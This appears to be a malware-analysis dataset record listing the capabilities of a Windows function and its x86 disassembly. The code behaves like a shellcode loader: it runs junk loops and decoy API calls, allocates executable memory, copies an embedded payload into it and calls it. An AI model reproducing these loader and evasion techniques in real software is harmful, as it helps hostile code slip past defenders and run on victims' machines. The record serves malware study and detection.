Function at 0x404620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x40464a
inc esi
cmp esi, 0x73f04bd
jl 0x404636
cmp dword [0x455e24], 0x400
jne 0x404695
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push ebx
push ebx
call fcn.00404de8
push ebx
push ebx
call fcn.0040505e
add esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404f30
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405080
fstp st(0)
add esp, 8
cmp dword [0x455e24], 0x93
jne 0x4046fc
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x403fc0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
call fcn.00404f60
add esp, 4
push ebx
push ebx
call fcn.00404f8f
add esp, 8
call fcn.00404610
push ebx
call fcn.0040519a
fldz
add esp, 4
push ebx
sub esp, 8
fstp qword [esp]
call fcn.00404c36
fstp st(0)
add esp, 0xc
mov eax, dword [0x455e24]
mov ecx, dword [0x450fb4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x456c60], ecx
mov dword [0x455e24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4558b4], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404730
cmp dword [0x455e24], ebx
jbe 0x40479c
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
nop
mov edx, dword [0x456c60]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4558b4]
mov byte [ecx + esi], al
cmp dword [0x455e24], 0x490
jne 0x404793
push 0
lea edx, [ebp - 4]
push edx
call edi
push 0x404060
call ebx
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
inc esi
cmp esi, dword [0x455e24]
jb 0x404750
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
mov edx, dword [0x455e24]
add edx, esi
cmp edx, 0x8d
jne 0x4047df
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
push 0
push 0
push 0
call edi
lea ecx, [ebp - 8]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x4047aa
call fcn.004044e0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404801
call ebx
cmp esi, 0x207142
jg 0x404812
inc esi
cmp esi, 0x67d12
jl 0x4047f7
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x404832
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x434c
mov edx, dword [ebp - 4]
add dword [0x4558b4], edx
inc esi
cmp esi, 0x674bd
jl 0x404814
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalCompact]
mov dword [ebp - 4], 0x7b
cmp dword [0x455e24], 0x86
jne 0x40488a
push 0x404130
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x455e24], 0xf
jne 0x40489f
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub dword [ebp - 4], 1
jne 0x404854
call fcn.00404230
call dword [0x4558b4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret